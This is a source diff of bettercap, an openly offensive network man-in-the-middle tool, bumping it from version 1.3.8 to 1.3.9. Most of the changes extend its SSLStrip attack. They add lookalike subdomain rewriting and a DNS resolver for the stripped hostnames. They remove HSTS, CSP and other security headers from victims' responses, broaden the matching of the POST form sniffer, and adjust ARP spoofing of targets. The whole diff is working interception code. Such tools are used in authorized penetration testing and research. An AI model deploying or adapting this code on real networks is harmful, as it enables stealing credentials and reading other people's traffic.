@@ -28,7 +28,8 @@ class StrippedObject
28
28
  SUBDOMAIN_REPLACES = {
29
29
  'www' => 'wwwww',
30
30
  'webmail' => 'wwebmail',
31
- 'mail' => 'wmail'
31
+ 'mail' => 'wmail',
32
+ 'm' => 'wmobile'
32
33
  }.freeze
33
34
 
34
35
  # Create an instance with the given arguments.
@@ -38,6 +39,16 @@ class StrippedObject
38
39
  @stripped = stripped
39
40
  end
40
41
 
42
+ # Return the #original hostname.
43
+ def original_hostname
44
+ URI::parse(@original).hostname
45
+ end
46
+
47
+ # Return the #stripped hostname.
48
+ def stripped_hostname
49
+ URI::parse(@stripped).hostname
50
+ end
51
+
41
52
  # Return a normalized version of +url+.
42
53
  def self.normalize( url, schema = 'https' )
43
54
  # add schema if needed
@@ -94,13 +105,15 @@ class Strip
94
105
  @stripped = []
95
106
  @cookies = CookieMonitor.new
96
107
  @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
108
+ @resolver = BetterCap::Network::Servers::DNSD.new
109
+ @resolver.start
97
110
  end
98
111
 
99
112
  # Return true if the +request+ was stripped.
100
113
  def was_stripped?(request)
101
114
  url = request.base_url
102
115
  @stripped.each do |s|
103
- if s.client == request.client and s.stripped == url
116
+ if s.client == request.client and s.stripped.start_with?(url)
104
117
  return true
105
118
  end
106
119
  end
@@ -109,7 +122,7 @@ class Strip
109
122
 
110
123
  def unstrip( request, url )
111
124
  @stripped.each do |s|
112
- if s.client == request.client and s.stripped == url
125
+ if s.client == request.client and s.stripped.start_with?(url)
113
126
  return s.original
114
127
  end
115
128
  end
@@ -140,6 +153,7 @@ class Strip
140
153
  return true
141
154
  end
142
155
 
156
+ process_headers!(response)
143
157
  process_body!( request, response )
144
158
 
145
159
  # do not retry the request.
@@ -148,13 +162,23 @@ class Strip
148
162
 
149
163
  private
150
164
 
151
- # Clean some headers from +request+.
152
- def process_headers!(request)
153
- request['Accept-Encoding'] = nil
154
- request['If-None-Match'] = nil
155
- request['If-Modified-Since'] = nil
156
- request['Upgrade-Insecure-Requests'] = nil
157
- request['Pragma'] = 'no-cache'
165
+ # Clean some headers from +r+.
166
+ def process_headers!(r)
167
+ # clean request
168
+ if r.is_a?(BetterCap::Proxy::Request)
169
+ r['Accept-Encoding'] = nil
170
+ r['If-None-Match'] = nil
171
+ r['If-Modified-Since'] = nil
172
+ r['Upgrade-Insecure-Requests'] = nil
173
+ r['Pragma'] = 'no-cache'
174
+ # clean response
175
+ else
176
+ r['X-Frame-Options'] = nil
177
+ r['X-Content-Type-Options'] = nil
178
+ r['X-Xss-Protection'] = nil
179
+ r['Strict-Transport-Security'] = nil
180
+ r['Content-Security-Policy'] = nil
181
+ end
158
182
  end
159
183
 
160
184
  # If +request+ has unknown session cookies, create a client redirection
@@ -165,7 +189,7 @@ class Strip
165
189
  unless @cookies.is_clean?(request)
166
190
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
167
191
  expired = @cookies.get_expired_headers!(request)
168
- response = Response.redirect( "http://#{request.host}#{request.url}", expired )
192
+ response = Response.redirect( request.to_url(nil), expired )
169
193
  end
170
194
  response
171
195
  end
@@ -179,7 +203,7 @@ class Strip
179
203
  # i.e: http://wwww.facebook.com/
180
204
  url = StrippedObject.normalize( stripped, 'http' )
181
205
  # i.e: www.facebook.com
182
- unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
206
+ unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
183
207
 
184
208
  # loop each header and fix the stripped url if needed,
185
209
  # this will fix headers such as Host, Referer, Origin, etc.
@@ -205,7 +229,7 @@ class Strip
205
229
 
206
230
  # Return true if +request+ is a favicon request.
207
231
  def is_favicon?(request)
208
- ( request.url.include?('.ico') or request.url.include?('favicon') )
232
+ ( request.path.include?('.ico') or request.path.include?('favicon') )
209
233
  end
210
234
 
211
235
  # If the +response+ is a redirect to a HTTPS location, patch the +response+ and
@@ -215,7 +239,7 @@ class Strip
215
239
  if response['Location'].start_with?('https://')
216
240
  original, stripped = StrippedObject.process( response['Location'] )
217
241
 
218
- @stripped << StrippedObject.new( request.client, original, stripped )
242
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
219
243
 
220
244
  # If MAX_REDIRECTS is reached, the 'Location' header will be used.
221
245
  response['Location'] = stripped
@@ -259,15 +283,23 @@ class Strip
259
283
  rescue; end
260
284
 
261
285
  unless links.empty?
262
- Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
286
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
263
287
 
264
288
  links.each do |l|
265
289
  original, stripped = l
266
- @stripped << StrippedObject.new( request.client, original, stripped )
290
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
267
291
  response.body.gsub!( original, stripped )
268
292
  end
269
293
  end
270
294
  end
295
+
296
+ private
297
+
298
+ def add_stripped_object( o )
299
+ @stripped << o
300
+ # make sure we're able to resolve the stripped domain
301
+ @resolver.add_rule( o.stripped_hostname, IPSocket.getaddress( o.original_hostname ) )
302
+ end
271
303
  end
272
304
 
273
305
  end
@@ -48,8 +48,6 @@ class StreamLogger
48
48
  # Given +proto+ and +port+ return the network service name if possible.
49
49
  def self.service( proto, port )
50
50
  if @@services.nil?
51
- Logger.info 'Preloading network services ...'
52
-
53
51
  @@services = { :tcp => {}, :udp => {} }
54
52
  filename = File.dirname(__FILE__) + '/../network/services'
55
53
  File.open( filename ).each do |line|
@@ -126,7 +124,7 @@ class StreamLogger
126
124
  msg << "\n[#{'BODY'.green}]\n\n"
127
125
 
128
126
  case request['Content-Type']
129
- when 'application/x-www-form-urlencoded'
127
+ when /application\/x-www-form-urlencoded.*/i
130
128
  msg << self.dump_form( request )
131
129
 
132
130
  when 'gzip'
@@ -146,8 +144,6 @@ class StreamLogger
146
144
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
147
145
  # with the +request+ and +response+ most important informations.
148
146
  def self.log_http( request, response )
149
- is_https = request.port == 443
150
- request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
151
147
  response_s = "( #{response.content_type} )"
152
148
  request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
153
149
  code = response.code[0]
@@ -158,7 +154,7 @@ class StreamLogger
158
154
  response_s += " [#{response.code}]"
159
155
  end
160
156
 
161
- Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
157
+ Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
162
158
  # Log post body if the POST sniffer is enabled.
163
159
  if Context.get.post_sniffer_enabled?
164
160
  self.log_post( request )
@@ -20,21 +20,21 @@ class Streamer
20
20
  def initialize( processor )
21
21
  @processor = processor
22
22
  @ctx = Context.get
23
- @sslstrip = SSLStrip::Strip.new
23
+ @sslstrip = SSLStrip::Strip.new if @ctx.options.sslstrip
24
24
  end
25
25
 
26
26
  # Return true if the +request+ was stripped.
27
27
  def was_stripped?(request, client)
28
28
  if @ctx.options.sslstrip
29
- request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
29
+ request.client, _ = get_client_details( client )
30
30
  return @sslstrip.was_stripped?(request)
31
31
  end
32
32
  false
33
33
  end
34
34
 
35
35
  # Redirect the +client+ to a funny video.
36
- def rickroll( client, is_https )
37
- client_ip, client_port = get_client_details( is_https, client )
36
+ def rickroll( client )
37
+ client_ip, client_port = get_client_details( client )
38
38
 
39
39
  Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
40
40
 
@@ -44,10 +44,9 @@ class Streamer
44
44
  # Handle the HTTP +request+ from +client+.
45
45
  def handle( request, client, redirects = 0 )
46
46
  response = Response.new
47
- is_https = request.port == 443
48
- request.client, request.client_port = get_client_details( is_https, client )
47
+ request.client, _ = get_client_details( client )
49
48
 
50
- Logger.debug "Handling #{request.verb} request from #{request.client}:#{request.client_port} ..."
49
+ Logger.debug "Handling #{request.method} request from #{request.client} ..."
51
50
 
52
51
  begin
53
52
  r = nil
@@ -59,7 +58,7 @@ class Streamer
59
58
  # call modules on_pre_request
60
59
  @processor.call( request, nil )
61
60
 
62
- self.send( "do_#{request.verb}", request, response )
61
+ self.send( "do_#{request.method}", request, response )
63
62
  else
64
63
  response = r
65
64
  end
@@ -67,7 +66,7 @@ class Streamer
67
66
  if response.textual?
68
67
  StreamLogger.log_http( request, response )
69
68
  else
70
- Logger.debug "[#{request.client}] -> #{request.host}#{request.url} [#{response.code}]"
69
+ Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
71
70
  end
72
71
 
73
72
  if @ctx.options.sslstrip
@@ -77,7 +76,7 @@ class Streamer
77
76
  if redirects < SSLStrip::Strip::MAX_REDIRECTS
78
77
  return self.handle( request, client, redirects + 1 )
79
78
  else
80
- Logger.info "[#{'SSLSTRIP'.yellow} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
79
+ Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
81
80
  end
82
81
  end
83
82
  end
@@ -87,7 +86,7 @@ class Streamer
87
86
 
88
87
  client.write response.to_s
89
88
  rescue NoMethodError => e
90
- Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
89
+ Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
91
90
  Logger.exception e
92
91
  end
93
92
  end
@@ -95,20 +94,15 @@ class Streamer
95
94
  private
96
95
 
97
96
  # Return the +client+ ip address and port.
98
- def get_client_details( is_https, client )
99
- unless is_https
100
- client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
101
- else
102
- _, client_port, _, client_ip = client.peeraddr
103
- end
104
-
97
+ def get_client_details( client )
98
+ _, client_port, _, client_ip = client.peeraddr
105
99
  [ client_ip, client_port ]
106
100
  end
107
101
 
108
102
  # Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::Request
109
103
  # object, will return a BetterCap::Proxy::Response object instance.
110
104
  def perform_proxy_request(req, res)
111
- path = req.url
105
+ path = req.path
112
106
  response = nil
113
107
  http = Net::HTTP.new( req.host, req.port )
114
108
  http.use_ssl = ( req.port == 443 )
@@ -92,7 +92,7 @@ private
92
92
  break
93
93
  end
94
94
 
95
- Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
95
+ # Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
96
96
 
97
97
  update_targets!
98
98
 
@@ -106,7 +106,7 @@ private
106
106
 
107
107
  # Get the MAC address of the gateway and update it.
108
108
  def update_gateway!
109
- hw = Network.get_hw_address( @ctx.ifconfig, @ctx.gateway )
109
+ hw = Network.get_hw_address( @ctx, @ctx.gateway )
110
110
  raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
111
111
  @gateway = Network::Target.new( @ctx.gateway, hw )
112
112
 
@@ -118,9 +118,9 @@ private
118
118
  @ctx.targets.each do |target|
119
119
  # targets could change, update mac addresses if needed
120
120
  if target.mac.nil?
121
- hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
121
+ hw = Network.get_hw_address( @ctx, target.ip )
122
122
  if hw.nil?
123
- Logger.warn "Couldn't determine target #{ip} MAC address!"
123
+ Logger.warn "Couldn't determine target #{target.ip} MAC address!"
124
124
  next
125
125
  else
126
126
  target.mac = hw
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.3.8'
15
+ VERSION = '1.3.9'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.8
4
+ version: 1.3.9
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-13 00:00:00.000000000 Z
11
+ date: 2016-02-16 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -148,6 +148,7 @@ files:
148
148
  - lib/bettercap/network/servers/httpd.rb
149
149
  - lib/bettercap/network/services
150
150
  - lib/bettercap/network/target.rb
151
+ - lib/bettercap/network/validator.rb
151
152
  - lib/bettercap/options.rb
152
153
  - lib/bettercap/proxy/certstore.rb
153
154
  - lib/bettercap/proxy/module.rb